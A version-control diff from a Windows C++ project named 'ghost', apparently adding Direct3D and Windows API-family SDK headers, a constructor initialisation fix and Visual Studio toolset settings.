#define D3DTEXOPCAPS_MODULATE4X 0x00000020L
#define D3DTEXOPCAPS_ADD 0x00000040L
#define D3DTEXOPCAPS_ADDSIGNED 0x00000080L
#define D3DTEXOPCAPS_ADDSIGNED2X 0x00000100L
#define D3DTEXOPCAPS_SUBTRACT 0x00000200L
#define D3DTEXOPCAPS_ADDSMOOTH 0x00000400L
#define D3DTEXOPCAPS_BLENDDIFFUSEALPHA 0x00000800L
#define D3DTEXOPCAPS_BLENDTEXTUREALPHA 0x00001000L
#define D3DTEXOPCAPS_BLENDFACTORALPHA 0x00002000L
#define D3DTEXOPCAPS_BLENDTEXTUREALPHAPM 0x00004000L
#define D3DTEXOPCAPS_BLENDCURRENTALPHA 0x00008000L
#define D3DTEXOPCAPS_PREMODULATE 0x00010000L
#define D3DTEXOPCAPS_MODULATEALPHA_ADDCOLOR 0x00020000L
#define D3DTEXOPCAPS_MODULATECOLOR_ADDALPHA 0x00040000L
#define D3DTEXOPCAPS_MODULATEINVALPHA_ADDCOLOR 0x00080000L
#define D3DTEXOPCAPS_MODULATEINVCOLOR_ADDALPHA 0x00100000L
#define D3DTEXOPCAPS_BUMPENVMAP 0x00200000L
#define D3DTEXOPCAPS_BUMPENVMAPLUMINANCE 0x00400000L
#define D3DTEXOPCAPS_DOTPRODUCT3 0x00800000L
/* D3DDEVICEDESC dwFVFCaps flags */
#define D3DFVFCAPS_TEXCOORDCOUNTMASK 0x0000ffffL /* mask for texture coordinate count field */
#define D3DFVFCAPS_DONOTSTRIPELEMENTS 0x00080000L /* Device prefers that vertex elements not be stripped */
#endif /* DIRECT3D_VERSION >= 0x0600 */
/*
* Description for a device.
* This is used to describe a device that is to be created or to query
* the current device.
*/
typedef struct _D3DDeviceDesc {
DWORD dwSize; /* Size of D3DDEVICEDESC structure */
DWORD dwFlags; /* Indicates which fields have valid data */
D3DCOLORMODEL dcmColorModel; /* Color model of device */
DWORD dwDevCaps; /* Capabilities of device */
D3DTRANSFORMCAPS dtcTransformCaps; /* Capabilities of transform */
BOOL bClipping; /* Device can do 3D clipping */
D3DLIGHTINGCAPS dlcLightingCaps; /* Capabilities of lighting */
D3DPRIMCAPS dpcLineCaps;
D3DPRIMCAPS dpcTriCaps;
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
DWORD dwMaxBufferSize; /* Maximum execute buffer size */
DWORD dwMaxVertexCount; /* Maximum vertex count */
#if(DIRECT3D_VERSION >= 0x0500)
// *** New fields for DX5 *** //
// Width and height caps are 0 for legacy HALs.
DWORD dwMinTextureWidth, dwMinTextureHeight;
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
DWORD dwMinStippleWidth, dwMaxStippleWidth;
DWORD dwMinStippleHeight, dwMaxStippleHeight;
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
// New fields for DX6
DWORD dwMaxTextureRepeat;
DWORD dwMaxTextureAspectRatio;
DWORD dwMaxAnisotropy;
// Guard band that the rasterizer can accommodate
// Screen-space vertices inside this space but outside the viewport
// will get clipped properly.
D3DVALUE dvGuardBandLeft;
D3DVALUE dvGuardBandTop;
D3DVALUE dvGuardBandRight;
D3DVALUE dvGuardBandBottom;
D3DVALUE dvExtentsAdjust;
DWORD dwStencilCaps;
DWORD dwFVFCaps;
DWORD dwTextureOpCaps;
WORD wMaxTextureBlendStages;
WORD wMaxSimultaneousTextures;
#endif /* DIRECT3D_VERSION >= 0x0600 */
} D3DDEVICEDESC, *LPD3DDEVICEDESC;
#if(DIRECT3D_VERSION >= 0x0700)
typedef struct _D3DDeviceDesc7 {
DWORD dwDevCaps; /* Capabilities of device */
D3DPRIMCAPS dpcLineCaps;
D3DPRIMCAPS dpcTriCaps;
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
DWORD dwMinTextureWidth, dwMinTextureHeight;
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
DWORD dwMaxTextureRepeat;
DWORD dwMaxTextureAspectRatio;
DWORD dwMaxAnisotropy;
D3DVALUE dvGuardBandLeft;
D3DVALUE dvGuardBandTop;
D3DVALUE dvGuardBandRight;
D3DVALUE dvGuardBandBottom;
D3DVALUE dvExtentsAdjust;
DWORD dwStencilCaps;
DWORD dwFVFCaps;
DWORD dwTextureOpCaps;
WORD wMaxTextureBlendStages;
WORD wMaxSimultaneousTextures;
DWORD dwMaxActiveLights;
D3DVALUE dvMaxVertexW;
GUID deviceGUID;
WORD wMaxUserClipPlanes;
WORD wMaxVertexBlendMatrices;
DWORD dwVertexProcessingCaps;
DWORD dwReserved1;
DWORD dwReserved2;
DWORD dwReserved3;
DWORD dwReserved4;
} D3DDEVICEDESC7, *LPD3DDEVICEDESC7;
#endif /* DIRECT3D_VERSION >= 0x0700 */
#define D3DDEVICEDESCSIZE (sizeof(D3DDEVICEDESC))
#define D3DDEVICEDESC7SIZE (sizeof(D3DDEVICEDESC7))
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK)(GUID FAR *lpGuid, LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC, LPD3DDEVICEDESC, LPVOID);
#if(DIRECT3D_VERSION >= 0x0700)
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK7)(LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC7, LPVOID);
#endif /* DIRECT3D_VERSION >= 0x0700 */
/* D3DDEVICEDESC dwFlags indicating valid fields */
#define D3DDD_COLORMODEL 0x00000001L /* dcmColorModel is valid */
#define D3DDD_DEVCAPS 0x00000002L /* dwDevCaps is valid */
#define D3DDD_TRANSFORMCAPS 0x00000004L /* dtcTransformCaps is valid */
#define D3DDD_LIGHTINGCAPS 0x00000008L /* dlcLightingCaps is valid */
#define D3DDD_BCLIPPING 0x00000010L /* bClipping is valid */
#define D3DDD_LINECAPS 0x00000020L /* dpcLineCaps is valid */
#define D3DDD_TRICAPS 0x00000040L /* dpcTriCaps is valid */
#define D3DDD_DEVICERENDERBITDEPTH 0x00000080L /* dwDeviceRenderBitDepth is valid */
#define D3DDD_DEVICEZBUFFERBITDEPTH 0x00000100L /* dwDeviceZBufferBitDepth is valid */
#define D3DDD_MAXBUFFERSIZE 0x00000200L /* dwMaxBufferSize is valid */
#define D3DDD_MAXVERTEXCOUNT 0x00000400L /* dwMaxVertexCount is valid */
/* D3DDEVICEDESC dwDevCaps flags */
#define D3DDEVCAPS_FLOATTLVERTEX 0x00000001L /* Device accepts floating point */
/* for post-transform vertex data */
#define D3DDEVCAPS_SORTINCREASINGZ 0x00000002L /* Device needs data sorted for increasing Z */
#define D3DDEVCAPS_SORTDECREASINGZ 0X00000004L /* Device needs data sorted for decreasing Z */
#define D3DDEVCAPS_SORTEXACT 0x00000008L /* Device needs data sorted exactly */
#define D3DDEVCAPS_EXECUTESYSTEMMEMORY 0x00000010L /* Device can use execute buffers from system memory */
#define D3DDEVCAPS_EXECUTEVIDEOMEMORY 0x00000020L /* Device can use execute buffers from video memory */
#define D3DDEVCAPS_TLVERTEXSYSTEMMEMORY 0x00000040L /* Device can use TL buffers from system memory */
#define D3DDEVCAPS_TLVERTEXVIDEOMEMORY 0x00000080L /* Device can use TL buffers from video memory */
#define D3DDEVCAPS_TEXTURESYSTEMMEMORY 0x00000100L /* Device can texture from system memory */
#define D3DDEVCAPS_TEXTUREVIDEOMEMORY 0x00000200L /* Device can texture from device memory */
#if(DIRECT3D_VERSION >= 0x0500)
#define D3DDEVCAPS_DRAWPRIMTLVERTEX 0x00000400L /* Device can draw TLVERTEX primitives */
#define D3DDEVCAPS_CANRENDERAFTERFLIP 0x00000800L /* Device can render without waiting for flip to complete */
#define D3DDEVCAPS_TEXTURENONLOCALVIDMEM 0x00001000L /* Device can texture from nonlocal video memory */
#endif /* DIRECT3D_VERSION >= 0x0500 */
#if(DIRECT3D_VERSION >= 0x0600)
#define D3DDEVCAPS_DRAWPRIMITIVES2 0x00002000L /* Device can support DrawPrimitives2 */
#define D3DDEVCAPS_SEPARATETEXTUREMEMORIES 0x00004000L /* Device is texturing from separate memory pools */
#define D3DDEVCAPS_DRAWPRIMITIVES2EX 0x00008000L /* Device can support Extended DrawPrimitives2 i.e. DX7 compliant driver*/
#endif /* DIRECT3D_VERSION >= 0x0600 */
#if(DIRECT3D_VERSION >= 0x0700)
#define D3DDEVCAPS_HWTRANSFORMANDLIGHT 0x00010000L /* Device can support transformation and lighting in hardware and DRAWPRIMITIVES2EX must be also */
#define D3DDEVCAPS_CANBLTSYSTONONLOCAL 0x00020000L /* Device supports a Tex Blt from system memory to non-local vidmem */
#define D3DDEVCAPS_HWRASTERIZATION 0x00080000L /* Device has HW acceleration for rasterization */
/*
* These are the flags in the D3DDEVICEDESC7.dwVertexProcessingCaps field
*/
/* device can do texgen */
#define D3DVTXPCAPS_TEXGEN 0x00000001L
/* device can do IDirect3DDevice7 colormaterialsource ops */
#define D3DVTXPCAPS_MATERIALSOURCE7 0x00000002L
/* device can do vertex fog */
#define D3DVTXPCAPS_VERTEXFOG 0x00000004L
/* device can do directional lights */
#define D3DVTXPCAPS_DIRECTIONALLIGHTS 0x00000008L
/* device can do positional lights (includes point and spot) */
#define D3DVTXPCAPS_POSITIONALLIGHTS 0x00000010L
/* device can do local viewer */
#define D3DVTXPCAPS_LOCALVIEWER 0x00000020L
#endif /* DIRECT3D_VERSION >= 0x0700 */
#define D3DFDS_COLORMODEL 0x00000001L /* Match color model */
#define D3DFDS_GUID 0x00000002L /* Match guid */
#define D3DFDS_HARDWARE 0x00000004L /* Match hardware/software */
#define D3DFDS_TRIANGLES 0x00000008L /* Match in triCaps */
#define D3DFDS_LINES 0x00000010L /* Match in lineCaps */
#define D3DFDS_MISCCAPS 0x00000020L /* Match primCaps.dwMiscCaps */
#define D3DFDS_RASTERCAPS 0x00000040L /* Match primCaps.dwRasterCaps */
#define D3DFDS_ZCMPCAPS 0x00000080L /* Match primCaps.dwZCmpCaps */
#define D3DFDS_ALPHACMPCAPS 0x00000100L /* Match primCaps.dwAlphaCmpCaps */
#define D3DFDS_SRCBLENDCAPS 0x00000200L /* Match primCaps.dwSourceBlendCaps */
#define D3DFDS_DSTBLENDCAPS 0x00000400L /* Match primCaps.dwDestBlendCaps */
#define D3DFDS_SHADECAPS 0x00000800L /* Match primCaps.dwShadeCaps */
#define D3DFDS_TEXTURECAPS 0x00001000L /* Match primCaps.dwTextureCaps */
#define D3DFDS_TEXTUREFILTERCAPS 0x00002000L /* Match primCaps.dwTextureFilterCaps */
#define D3DFDS_TEXTUREBLENDCAPS 0x00004000L /* Match primCaps.dwTextureBlendCaps */
#define D3DFDS_TEXTUREADDRESSCAPS 0x00008000L /* Match primCaps.dwTextureBlendCaps */
/*
* FindDevice arguments
*/
typedef struct _D3DFINDDEVICESEARCH {
DWORD dwSize;
DWORD dwFlags;
BOOL bHardware;
D3DCOLORMODEL dcmColorModel;
GUID guid;
DWORD dwCaps;
D3DPRIMCAPS dpcPrimCaps;
} D3DFINDDEVICESEARCH, *LPD3DFINDDEVICESEARCH;
typedef struct _D3DFINDDEVICERESULT {
DWORD dwSize;
GUID guid; /* guid which matched */
D3DDEVICEDESC ddHwDesc; /* hardware D3DDEVICEDESC */
D3DDEVICEDESC ddSwDesc; /* software D3DDEVICEDESC */
} D3DFINDDEVICERESULT, *LPD3DFINDDEVICERESULT;
/*
* Description of execute buffer.
*/
typedef struct _D3DExecuteBufferDesc {
DWORD dwSize; /* size of this structure */
DWORD dwFlags; /* flags indicating which fields are valid */
DWORD dwCaps; /* capabilities of execute buffer */
DWORD dwBufferSize; /* size of execute buffer data */
LPVOID lpData; /* pointer to actual data */
} D3DEXECUTEBUFFERDESC, *LPD3DEXECUTEBUFFERDESC;
/* D3DEXECUTEBUFFER dwFlags indicating valid fields */
#define D3DDEB_BUFSIZE 0x00000001l /* buffer size valid */
#define D3DDEB_CAPS 0x00000002l /* caps valid */
#define D3DDEB_LPDATA 0x00000004l /* lpData valid */
/* D3DEXECUTEBUFFER dwCaps */
#define D3DDEBCAPS_SYSTEMMEMORY 0x00000001l /* buffer in system memory */
#define D3DDEBCAPS_VIDEOMEMORY 0x00000002l /* buffer in device memory */
#define D3DDEBCAPS_MEM (D3DDEBCAPS_SYSTEMMEMORY|D3DDEBCAPS_VIDEOMEMORY)
#if(DIRECT3D_VERSION < 0x0800)
#if(DIRECT3D_VERSION >= 0x0700)
typedef struct _D3DDEVINFO_TEXTUREMANAGER {
BOOL bThrashing; /* indicates if thrashing */
DWORD dwApproxBytesDownloaded; /* Approximate number of bytes downloaded by texture manager */
DWORD dwNumEvicts; /* number of textures evicted */
DWORD dwNumVidCreates; /* number of textures created in video memory */
DWORD dwNumTexturesUsed; /* number of textures used */
DWORD dwNumUsedTexInVid; /* number of used textures present in video memory */
DWORD dwWorkingSet; /* number of textures in video memory */
DWORD dwWorkingSetBytes; /* number of bytes in video memory */
DWORD dwTotalManaged; /* total number of managed textures */
DWORD dwTotalBytes; /* total number of bytes of managed textures */
DWORD dwLastPri; /* priority of last texture evicted */
} D3DDEVINFO_TEXTUREMANAGER, *LPD3DDEVINFO_TEXTUREMANAGER;
typedef struct _D3DDEVINFO_TEXTURING {
DWORD dwNumLoads; /* counts Load() API calls */
DWORD dwApproxBytesLoaded; /* Approximate number bytes loaded via Load() */
DWORD dwNumPreLoads; /* counts PreLoad() API calls */
DWORD dwNumSet; /* counts SetTexture() API calls */
DWORD dwNumCreates; /* counts texture creates */
DWORD dwNumDestroys; /* counts texture destroys */
DWORD dwNumSetPriorities; /* counts SetPriority() API calls */
DWORD dwNumSetLODs; /* counts SetLOD() API calls */
DWORD dwNumLocks; /* counts number of texture locks */
DWORD dwNumGetDCs; /* counts number of GetDCs to textures */
} D3DDEVINFO_TEXTURING, *LPD3DDEVINFO_TEXTURING;
#endif /* DIRECT3D_VERSION >= 0x0700 */
#endif //(DIRECT3D_VERSION < 0x0800)
#pragma pack()
#endif /* _D3DCAPS_H_ */
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
#pragma endregion

2133
client/d3d/d3dtypes.h Normal file

File diff suppressed because it is too large Load Diff

251
client/d3d/winapifamily.h Normal file
View File

@@ -0,0 +1,251 @@
/*
Copyright (c) Microsoft Corporation. All rights reserved.
Module Name:
winapifamily.h
Abstract:
Master include file for API family partitioning.
*/
#ifndef _INC_WINAPIFAMILY
#define _INC_WINAPIFAMILY
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(push)
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
#endif
#pragma once
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#include <winpackagefamily.h>
/*
* When compiling C and C++ code using SDK header files, the development
* environment can specify a target platform by #define-ing the
* pre-processor symbol WINAPI_FAMILY to one of the following values.
* Each FAMILY value denotes an application family for which a different
* subset of the total set of header-file-defined APIs are available.
* Setting the WINAPI_FAMILY value will effectively hide from the
* editing and compilation environments the existence of APIs that
* are not applicable to the family of applications targeting a
* specific platform.
*/
/* In Windows 10, WINAPI_PARTITIONs will be used to add additional
* device specific APIs to a particular WINAPI_FAMILY.
* For example, when writing Windows Universal apps, specifying
* WINAPI_FAMILY_APP will hide phone APIs from compilation.
* However, specifying WINAPI_PARTITION_PHONE_APP=1 additionally, will
* unhide any API hidden behind the partition, to the compiler.
* The following partitions are currently defined:
* WINAPI_PARTITION_DESKTOP // usable for Desktop Win32 apps (but not store apps)
* WINAPI_PARTITION_APP // usable for Windows Universal store apps
* WINAPI_PARTITION_PC_APP // specific to Desktop-only store apps
* WINAPI_PARTITION_PHONE_APP // specific to Phone-only store apps
* WINAPI_PARTITION_SYSTEM // specific to System applications
* WINAPI_PARTITION_GAMES // specific to games and apps
* The following partitions are indirect partitions and defined in
* winpackagefamily.h. These partitions are related to package based
* partitions. For example, specifying WINAPI_PARTITION_SERVER=1 will light up
* any API hidden behind the package based partitions that are bound to
* WINAPI_PARTITION_SERVER, to the compiler.
* WINAPI_PARTITION_SERVER // specific to Server applications
*/
/*
* The WINAPI_FAMILY values of 0 and 1 are reserved to ensure that
* an error will occur if WINAPI_FAMILY is set to any
* WINAPI_PARTITION value (which must be 0 or 1, see below).
*/
#define WINAPI_FAMILY_PC_APP 2 /* Windows Store Applications */
#define WINAPI_FAMILY_PHONE_APP 3 /* Windows Phone Applications */
#define WINAPI_FAMILY_SYSTEM 4 /* Windows Drivers and Tools */
#define WINAPI_FAMILY_SERVER 5 /* Windows Server Applications */
#define WINAPI_FAMILY_GAMES 6 /* Windows Games and Applications */
#define WINAPI_FAMILY_DESKTOP_APP 100 /* Windows Desktop Applications */
/* The value of WINAPI_FAMILY_DESKTOP_APP may change in future SDKs. */
/* Additional WINAPI_FAMILY values may be defined in future SDKs. */
/*
* For compatibility with Windows 8 header files, the following
* synonym for WINAPI_FAMILY_PC_APP is temporarily #define'd.
* Use of this symbol should be considered deprecated.
*/
#define WINAPI_FAMILY_APP WINAPI_FAMILY_PC_APP
/*
* If no WINAPI_FAMILY value is specified, then all APIs available to
* Windows desktop applications are exposed.
*/
#ifndef WINAPI_FAMILY
#define WINAPI_FAMILY WINAPI_FAMILY_DESKTOP_APP
#endif
/*
* API PARTITONs are part of an indirection mechanism for mapping between
* individual APIs and the FAMILYs to which they apply.
* Each PARTITION is a category or subset of named APIs. PARTITIONs
* are permitted to have overlapping membership -- some single API
* might be part of more than one PARTITION. PARTITIONS are each #define-ed
* to be either 1 or 0 or depending on the platform at which the app is targeted.
*/
/*
* The mapping between families and partitions is summarized here.
* An X indicates that the given partition is active for the given
* platform/family.
*
* +---------------------------+
* | *Partition* |
* +---+---+---+---+---+---+---+
* | | | | | | | |
* | | | | | | | |
* | | | | P | | | |
* | | | | H | | | |
* | D | | | O | | | |
* | E | | P | N | S | S | |
* | S | | C | E | Y | E | G |
* | K | | _ | _ | S | R | A |
* | T | A | A | A | T | V | M |
* +-------------------------+----+ O | P | P | P | E | E | E |
* | *Platform/Family* \| P | P | P | P | M | R | S |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_DESKTOP_APP | X | X | X | | | | |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_PC_APP | | X | X | | | | |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_PHONE_APP | | X | | X | | | |
* +----------------------------- +---+---+---+---+---+---+---+
* | WINAPI_FAMILY_SYSTEM | | | | | X | | |
* +----------------------------- +---+---+---+---+---+---+---+
* | WINAPI_FAMILY_SERVER | | | | | X | X | |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_GAMES | | | | | | | X |
* +------------------------------+---+---+---+---+---+---+---+
*
* The table above is encoded in the following expressions,
* each of which evaluates to 1 or 0.
*
* Whenever a new family is added, all of these expressions
* need to be reconsidered.
*/
#if WINAPI_FAMILY != WINAPI_FAMILY_DESKTOP_APP && \
WINAPI_FAMILY != WINAPI_FAMILY_PC_APP && \
WINAPI_FAMILY != WINAPI_FAMILY_PHONE_APP && \
WINAPI_FAMILY != WINAPI_FAMILY_SYSTEM && \
WINAPI_FAMILY != WINAPI_FAMILY_GAMES && \
WINAPI_FAMILY != WINAPI_FAMILY_SERVER
#error Unknown WINAPI_FAMILY value. Was it defined in terms of a WINAPI_PARTITION_* value?
#endif
#ifndef WINAPI_PARTITION_DESKTOP
#define WINAPI_PARTITION_DESKTOP (WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
#endif
#ifndef WINAPI_PARTITION_APP
#define WINAPI_PARTITION_APP \
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP || \
WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
#endif
#ifndef WINAPI_PARTITION_PC_APP
#define WINAPI_PARTITION_PC_APP \
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP)
#endif
#ifndef WINAPI_PARTITION_PHONE_APP
#define WINAPI_PARTITION_PHONE_APP (WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
#endif
#ifndef WINAPI_PARTITION_GAMES
#define WINAPI_PARTITION_GAMES \
(WINAPI_FAMILY == WINAPI_FAMILY_GAMES || \
WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
#endif
/*
* SYSTEM is the only partition defined here.
* All other System based editions are defined as packages
* on top of the System partition.
* See winpackagefamily.h for packages level partitions
*/
#ifndef WINAPI_PARTITION_SYSTEM
#define WINAPI_PARTITION_SYSTEM \
(WINAPI_FAMILY == WINAPI_FAMILY_SYSTEM || \
WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
#endif
/*
* For compatibility with Windows Phone 8 header files, the following
* synonym for WINAPI_PARTITION_PHONE_APP is temporarily #define'd.
* Use of this symbol should be regarded as deprecated.
*/
#define WINAPI_PARTITION_PHONE WINAPI_PARTITION_PHONE_APP
/*
* Header files use the WINAPI_FAMILY_PARTITION macro to assign one or
* more declarations to some group of partitions. The macro chooses
* whether the preprocessor will emit or omit a sequence of declarations
* bracketed by an #if/#endif pair. All header file references to the
* WINAPI_PARTITION_* values should be in the form of occurrences of
* WINAPI_FAMILY_PARTITION(...).
*
* For example, the following usage of WINAPI_FAMILY_PARTITION identifies
* a sequence of declarations that are part of both the Windows Desktop
* Partition and the Windows-Phone-Specific Store Partition:
*
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
* ...
* #endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
*
* The comment on the closing #endif allow tools as well as people to find the
* matching #ifdef properly.
*
* Usages of WINAPI_FAMILY_PARTITION may be combined, when the partitition definitions are
* related. In particular one might use declarations like
*
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
*
* or
*
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_PHONE_APP)
*
* Direct references to WINAPI_PARTITION_ values (eg #if !WINAPI_FAMILY_PARTITION_...)
* should not be used.
*/
#define WINAPI_FAMILY_PARTITION(Partitions) (Partitions)
/*
* Macro used to #define or typedef a symbol used for selective deprecation
* of individual methods of a COM interfaces that are otherwise available
* for a given set of partitions.
*/
#define _WINAPI_DEPRECATED_DECLARATION __declspec(deprecated("This API cannot be used in the context of the caller's application type."))
/*
* For compatibility with Windows 8 header files, the following
* symbol is temporarily conditionally #define'd. Additional symbols
* like this should be not defined in winapifamily.h, but rather should be
* introduced locally to the header files of the component that needs them.
*/
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
# define APP_DEPRECATED_HRESULT HRESULT _WINAPI_DEPRECATED_DECLARATION
#endif // WINAPIFAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif
#endif
#endif /* !_INC_WINAPIFAMILY */

View File

@@ -0,0 +1,91 @@
/*
Copyright (c) Microsoft Corporation. All rights reserved.
Module Name:
winpackagefamily.h
Abstract:
API family partitioning based on packages.
*/
#ifndef _INC_WINPACKAGEFAMILY
#define _INC_WINPACKAGEFAMILY
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(push)
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
#endif
#pragma once
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#ifndef WINAPI_PARTITION_SERVER
#define WINAPI_PARTITION_SERVER (WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
#endif
/*
* PARTITIONS based on packages are each #undef'ed below, and then will be #define-ed
* to be either 1 or 0 or depending on the active WINAPI_FAMILY.
*/
#undef WINAPI_PARTITION_PKG_WINTRUST
#undef WINAPI_PARTITION_PKG_WEBSERVICES
#undef WINAPI_PARTITION_PKG_EVENTLOGSERVICE
#undef WINAPI_PARTITION_PKG_VHD
#undef WINAPI_PARTITION_PKG_PERFCOUNTER
#undef WINAPI_PARTITION_PKG_SECURESTARTUP
#undef WINAPI_PARTITION_PKG_REMOTEFS
#undef WINAPI_PARTITION_PKG_BOOTABLESKU
#undef WINAPI_PARTITION_PKG_CMDTOOLS
#undef WINAPI_PARTITION_PKG_DISM
#undef WINAPI_PARTITION_PKG_CORESETUP
#undef WINAPI_PARTITION_PKG_APPRUNTIME
#undef WINAPI_PARTITION_PKG_ESENT
#undef WINAPI_PARTITION_PKG_WINMGMT
#undef WINAPI_PARTITION_PKG_WNV
#undef WINAPI_PARTITION_PKG_CLUSTER
#undef WINAPI_PARTITION_PKG_VSS
#undef WINAPI_PARTITION_PKG_TRAFFIC
#undef WINAPI_PARTITION_PKG_ISCSI
#undef WINAPI_PARTITION_PKG_STORAGE
#undef WINAPI_PARTITION_PKG_MPSSVC
#undef WINAPI_PARTITION_PKG_APPXDEPLOYMENT
#undef WINAPI_PARTITION_PKG_WER
/*
* PARTITIONS for feature packages. Each package might be active for one or more editions
*/
#define WINAPI_PARTITION_PKG_WINTRUST (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WEBSERVICES (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_EVENTLOGSERVICE (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_VHD (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_PERFCOUNTER (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_SECURESTARTUP (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_REMOTEFS (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_BOOTABLESKU (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_CMDTOOLS (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_DISM (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_CORESETUP (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_APPRUNTIME (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_ESENT (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WINMGMT (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WNV (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_CLUSTER (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_VSS (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_TRAFFIC (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_ISCSI (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_STORAGE (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_MPSSVC (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_APPXDEPLOYMENT (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WER (WINAPI_PARTITION_SERVER == 1)
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif
#endif
#endif /* !_INC_WINPACKAGEFAMILY */

View File

@@ -1655,7 +1655,7 @@ public:
BYTE Green;
BYTE Red;
BYTE Alpha;
DXBASESAMPLE() {}
DXBASESAMPLE():Blue(0), Green(0), Red(0), Alpha(0) {}
DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) :
Alpha(alpha),
Red(red),

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
@@ -14,19 +14,20 @@
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
<RootNamespace>ClientDll</RootNamespace>
<ProjectName>ghost</ProjectName>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<PlatformToolset>v110_xp</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>false</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
